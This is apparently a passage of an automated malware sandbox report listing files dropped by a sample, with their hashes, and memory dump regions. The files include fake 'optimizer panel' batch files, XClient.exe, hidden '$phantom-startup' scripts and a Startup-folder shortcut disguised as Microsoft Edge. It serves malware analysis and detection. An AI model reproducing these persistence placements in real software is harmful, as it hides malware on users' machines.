                                                                                                                  • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  ModuleAnalysisCache

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                                  • Size 53KB
                                                                                                                  • SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                                                                  StartupProfileData-Interactive

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                  • Size 2KB
                                                                                                                  • SHA256 9cb9f2c3f1d80c4f43f090d526b1792e0d054930df502287e1eecc8e52e0ec88
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  StartupProfileData-Interactive

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                  • Size 2KB
                                                                                                                  • SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  StartupProfileData-NonInteractive

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                  • Size 1KB
                                                                                                                  • SHA256 2735c36eb4646feaf972bebd02779727a8ca66de4389477297ace0976b143349
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  StartupProfileData-NonInteractive

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                  • Size 944B
                                                                                                                  • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  StartupProfileData-NonInteractive

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                  • Size 944B
                                                                                                                  • SHA256 9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  StartupProfileData-NonInteractive

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                  • Size 944B
                                                                                                                  • SHA256 944beee96f2aea8a039b4e58a465e2be70941396814e517e1f9dc40c22e129e0
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  StartupProfileData-NonInteractive

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                  • Size 944B
                                                                                                                  • SHA256 5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  StartupProfileData-NonInteractive

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                  • Size 944B
                                                                                                                  • SHA256 718dc2f5f4a6dbb7fab7f3db05bd7f602fb16526caae7084ab46c3ab4e7bad35
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  StartupProfileData-NonInteractive

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                  • Size 944B
                                                                                                                  • SHA256 77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  HoaxOptimizerPanel.bat

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\HoaxOptimizerPanel.bat
                                                                                                                  • Size 258KB
                                                                                                                  • SHA256 2097980870ce3cb140d151b4e681a4ee28d6d27e751727a84b929b4e03d48673
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                                                                  SpleenysOptimizerPanel.bat

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\SpleenysOptimizerPanel.bat
                                                                                                                  • Size 522KB
                                                                                                                  • SHA256 2fa41732bda192a559792728a32d178336d6900eb5faf81ca764f07ff124e6ef
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                                                                  XClient.exe

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                                  • Size 200KB
                                                                                                                  • SHA256 a0b36aca269c719080ba0a8ffc54487da28ae8f8187ac59ce73bc5fdcc68b2b9
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                                                                  __PSScriptPolicyTest_hfq2islu.dop.ps1

                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfq2islu.dop.ps1
                                                                                                                  • Size 60B
                                                                                                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  $phantom-startup_str_264.vbs

                                                                                                                  • Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_264.vbs
                                                                                                                  • Size 124B
                                                                                                                  • SHA256 b8529e2ce87ee8fa8fa5c67d38a71e519d60bfc2a315b4057bd1b8d27c59b95c
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  $phantom-startup_str_812.bat

                                                                                                                  • Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_812.bat
                                                                                                                  • Size 1.1MB
                                                                                                                  • SHA256 b0359c1018ab5d04e21ead075475b6866d48ed11ba8dbc9022f007d1bd2da2ef
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                                                                  $phantom-startup_str_812.vbs

                                                                                                                  • Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_812.vbs
                                                                                                                  • Size 124B
                                                                                                                  • SHA256 81581b68b62def5d525a491fb4ff44018fb38800c8d0323bc4888830a1b44be9
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  Microsoft Edge

                                                                                                                  • Path C:\Users\Admin\AppData\Roaming\Microsoft Edge
                                                                                                                  • Size 442KB
                                                                                                                  • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                                                                  Microsoft Edge.lnk

                                                                                                                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Edge.lnk
                                                                                                                  • Size 784B
                                                                                                                  • SHA256 bb5e03c70eb37baa164b57a920c9c220ef09cf262566450c106ff751fc251688
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  memory/912-105-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/960-106-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/1036-147-0x000001DAE17B0000-0x000001DAE17E6000-memory.dmp

                                                                                                                  memory/1084-109-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/1092-104-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/1184-107-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/1484-111-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/1544-114-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/1644-110-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/1676-161-0x0000000000AB0000-0x0000000000AE6000-memory.dmp

                                                                                                                  memory/1892-101-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/1952-172-0x0000021C7E640000-0x0000021C7E6DE000-memory.dmp

                                                                                                                  memory/1952-171-0x0000021C7E140000-0x0000021C7E148000-memory.dmp

                                                                                                                  memory/2016-112-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/2456-113-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/2728-102-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/2752-98-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/2916-103-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/2948-99-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/3260-97-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/3260-51-0x0000000002E20000-0x0000000002E4A000-memory.dmp

                                                                                                                  memory/3408-305-0x000002211A810000-0x000002211A848000-memory.dmp

                                                                                                                  memory/3612-100-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/3724-27-0x00007FFF35730000-0x00007FFF361F1000-memory.dmp

                                                                                                                  memory/3724-32-0x00007FFF35730000-0x00007FFF361F1000-memory.dmp

                                                                                                                  memory/3724-29-0x00007FFF35730000-0x00007FFF361F1000-memory.dmp

                                                                                                                  memory/3724-28-0x00007FFF35730000-0x00007FFF361F1000-memory.dmp

                                                                                                                  memory/4056-108-0x00007FFF13E90000-0x00007FFF13EA0000-memory.dmp

                                                                                                                  memory/4868-0-0x00007FFF35733000-0x00007FFF35735000-memory.dmp

                                                                                                                  memory/4868-50-0x00007FFF35730000-0x00007FFF361F1000-memory.dmp

                                                                                                                  memory/4868-16-0x000001BEBC170000-0x000001BEBC282000-memory.dmp

                                                                                                                  memory/4868-15-0x000001BEBBDC0000-0x000001BEBBDC8000-memory.dmp

                                                                                                                  memory/4868-14-0x000001BEBC0F0000-0x000001BEBC166000-memory.dmp

                                                                                                                  memory/4868-13-0x000001BEBBE10000-0x000001BEBBE54000-memory.dmp

                                                                                                                  memory/4868-12-0x00007FFF35730000-0x00007FFF361F1000-memory.dmp

                                                                                                                  memory/4868-11-0x00007FFF35730000-0x00007FFF361F1000-memory.dmp

                                                                                                                  memory/4868-7-0x000001BEA1920000-0x000001BEA1942000-memory.dmp